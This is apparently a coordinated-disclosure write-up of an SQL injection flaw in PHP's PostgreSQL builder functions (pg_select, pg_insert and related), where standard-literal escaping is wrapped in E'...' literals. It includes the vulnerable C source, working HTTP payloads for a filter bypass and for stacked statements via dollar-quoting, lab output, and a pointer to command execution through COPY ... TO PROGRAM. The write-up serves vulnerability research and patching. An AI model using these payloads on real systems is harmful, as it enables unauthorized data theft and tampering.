One backslash to rule the query: E-string desync in PHP's PostgreSQL layer
How a twenty-year-old quoting helper in ext/pgsql turns an ordinary backslash into full SQL injection on default configuration — still exploitable after the CVE-2025-1735 fix. With raw HTTP exploitation and an honest look at reach.
All testing was performed against our own lab builds (PHP 8.4.21, PostgreSQL 16, standard_conforming_strings = on — the PostgreSQL default). The issue was reported privately to the PHP security team and is published here under coordinated disclosure as CVE-2026-17543.
Summary
The conversion helper behind pg_insert(), pg_update(), pg_select() and pg_delete() escapes attacker-controlled strings for one PostgreSQL syntax and then quotes them in another. A single backslash is enough to desynchronize the two and walk out of the string literal into live SQL. We confirmed filter/authorization bypass and — despite the escaping layer doubling the attacker's quotes — arbitrary stacked-statement execution via dollar-quoting. Everything below happens on default flags and a default PostgreSQL connection.
The API nobody audits
The pg_* builder family is a documented, core API: hand it a table name and an associative array, and PHP builds the query for you. Most security review focuses on pg_query() concatenation mistakes; the builders tend to get a free pass because "they escape for you." They do escape. The problem is which language they escape into.
Two PostgreSQL string literal syntaxes matter here:
- Standard literals
'...'— withstandard_conforming_strings = on(default since PostgreSQL 9.1, year 2011), a backslash is an ordinary character. Only single quotes are special, escaped by doubling. - Escape-string literals
E'...'— backslash is an escape character:\'is a literal quote, not a terminator.
Escaping a value for the first syntax and then framing it in the second is a classic parser differential — and it is exactly what the default conversion path does.
Root cause
In ext/pgsql/pgsql.c, php_pgsql_convert() handles string-typed values:
/* php_pgsql_convert(), string branch (master / 8.6-dev) */
zend_string *str;
str = zend_string_alloc(Z_STRLEN_P(val) * 2, 0);
/* better to use PGSQLescapeLiteral since PGescapeStringConn does not handle special \ */
ZSTR_LEN(str) = PQescapeStringConn(pg_link, ZSTR_VAL(str),
Z_STRVAL_P(val), Z_STRLEN_P(val), &escape_err); // escapes for a STANDARD literal
if (escape_err) {
err = 1; /* ← the ONLY thing the CVE-2025-1735 fix added */
} else {
ZVAL_STR(&new_val, php_pgsql_add_quotes(str)); /* ← wraps it in E'...' — the desync */
}
/* php_pgsql_add_quotes() — always an ESCAPE-string literal */
static zend_string *php_pgsql_add_quotes(zend_string *src)
{
return zend_string_concat3("E'", strlen("E'"),
ZSTR_VAL(src), ZSTR_LEN(src), "'", strlen("'"));
}
Walk a value of \' through it:
PQescapeStringConn()(withstandard_conforming_strings = on) doubles the quote, leaves the backslash alone:\''— correct for a standard literal.php_pgsql_add_quotes()frames it asE'\''.- PostgreSQL parses an E-string:
\'is an escaped quote (string stays open), and the next'closes the literal. Everything after it executes as SQL. Breakout.
The in-tree comment — "better to use PGSQLescapeLiteral since PGescapeStringConn does not handle special \" — acknowledges the defect in the source itself. The asymmetry is telling: the explicit PGSQL_DML_ESCAPE flag routes the same escaped body into a standard '...' literal, which is consistent and safe:
// ext/pgsql/pgsql.c — the PGSQL_DML_ESCAPE path (≈ 5671-5683)
$new_len = PQescapeStringConn(pg_link, tmp, Z_STRVAL_P(val),
Z_STRLEN_P(val), &error);
// ...error handling...
smart_str_appendc(&querystr, '\''); // opens a
smart_str_appendl(&querystr, tmp, new_len); // STANDARD
smart_str_appendc(&querystr, '\''); // literal — consistent, SAFE
Only the default path forces the mismatched E'...'. Historically the E'...' wrap was correct in the pre-9.1 era when PQescapeStringConn() itself backslash-escaped; the helper was never updated when PostgreSQL changed defaults fifteen years ago.
An incomplete fix
CVE-2025-1735 (GHSA-hrwm-9436-5mv3, fixed in PHP 8.1.33 / 8.2.29 / 8.3.23 / 8.4.10) added error checking to the escape call — the if (escape_err) branch above. It did not touch php_pgsql_add_quotes() and did not switch to PQescapeLiteral(). The escaping-mode mismatch survived the patch; we verified exploitation end-to-end on PHP 8.4.21, i.e. eleven releases after the fix. CVE-2026-17543 is the incomplete-fix follow-up.
Exploitation over HTTP
Builder functions sit directly behind HTTP parameters in the applications that use them. Consider a routine user-search endpoint, a pattern you will find in a decade of legacy PHP:
// GET /api/users.php?name=...
$rows = pg_select($conn, 'users', ['name' => $_GET['name']]);
echo json_encode($rows);
A filter/authorization bypass is one request — note the backslash before the quote:
GET /api/users.php?name=zzz%5C%27%20OR%201%3D1%20-- HTTP/1.1
Host: target.example
Accept: application/json
What PHP assembles, and what PostgreSQL actually parses:
-- assembled by php_pgsql_convert():
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
-- parsed: E'zzz\' → literal "zzz'" ... then ' closes the string
-- → OR 1=1 -- runs as SQL: the filter is gone
HTTP/1.1 200 OK
Content-Type: application/json
[{"id":1,"name":"admin","role":"superuser"},
{"id":2,"name":"auditor","role":"readonly"},
... every row in the table ...]
The same breakout lands in the WHERE/SET clauses built by pg_update() and pg_delete(), and in values passed to pg_insert().
Getting past the quote-doubling: stacked statements
The escaping layer is not entirely decorative: it doubles the attacker's single quotes, so a naive stacked payload like x\'); INSERT INTO log VALUES ('PWNED'); -- dies on a syntax error — its 'PWNED' comes out doubled. A junior report stops there. The doubling, however, only applies to '. PostgreSQL gives us string constants that need none: dollar-quoting ($$...$$), or chr()/concat() arithmetic. Nothing gets doubled, nothing is left to stop the second statement:
POST /api/users.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
name=x%5C%27%29%3B+INSERT+INTO+audit_trail+VALUES+(%24%24STACKED_VIA_DOLLAR_QUOTE%24%24)%3B+--
-- decoded value: x\'); INSERT INTO audit_trail VALUES ($$STACKED_VIA_DOLLAR_QUOTE$$); --
-- assembled:
INSERT INTO "users" ("name") VALUES (E'x\''); INSERT INTO audit_trail VALUES ($$STACKED_VIA_DOLLAR_QUOTE$$); --')
-- verbatim from the lab run (PHP 8.4.21 + PostgreSQL 16, default config):
pg_insert returned: PgSql\Result
last error: ''
audit_trail rows: 1
-> STACKED_VIA_DOLLAR_QUOTE
An attacker-supplied second statement executed under a default pg_insert() call. From here it is arbitrary SQL — read, write, DDL. On a superuser connection (still common for legacy deployments), COPY ... TO PROGRAM converts that into operating-system command execution.
Why it is critical
- Default everything. No exotic flags, no misconfiguration: the vulnerable path is the documented default of the functions, on the database's default string mode.
- Survived a security patch. It ships in every PHP release including those built to fix CVE-2025-1735 — anyone who patched that CVE and moved on is still exposed.
- Full SQL primitive. Read (mass-row disclosure, shown above), write (stacked DML/DDL, shown above), and on superuser connections, command execution via
COPY ... TO PROGRAM. - A core, documented API with a prior CVE. This is not third-party abandonware; it is the database layer of the language itself.
We do not inflate reach. The pg_insert()/pg_select() builder family is uncommon in modern code — most PHP+PostgreSQL applications use PDO, pg_query_params(), or an ORM, and we found no popular maintained framework that relies on these builders. Where they do exist, they are typically in the oldest, least-reviewed parts of a codebase — precisely the code that faces untrusted input and never sees an audit. We assess technical severity as Critical; the PHP project as CNA scored it CVSS 9.8.
Disclosure timeline
- 2026-05-19 — issue confirmed in our lab; breakout and stacked execution reproduced on PHP 8.4.21 / PostgreSQL 16.
- 2026-06-02 — reported to the PHP project through a private GitHub Security Advisory with full PoCs.
- 2026-06 — identifier CVE-2026-17543 assigned.
- 2026-08 — fix shipped by the PHP project; public write-up (this page) followed the fixed release.
References
- CVE-2025-1735 / GHSA-hrwm-9436-5mv3 — the incomplete fix this report follows up on.
- PostgreSQL documentation:
standard_conforming_strings, escape string syntax, dollar-quoted string constants. - php/php-src —
ext/pgsql/pgsql.c:php_pgsql_convert(),php_pgsql_add_quotes().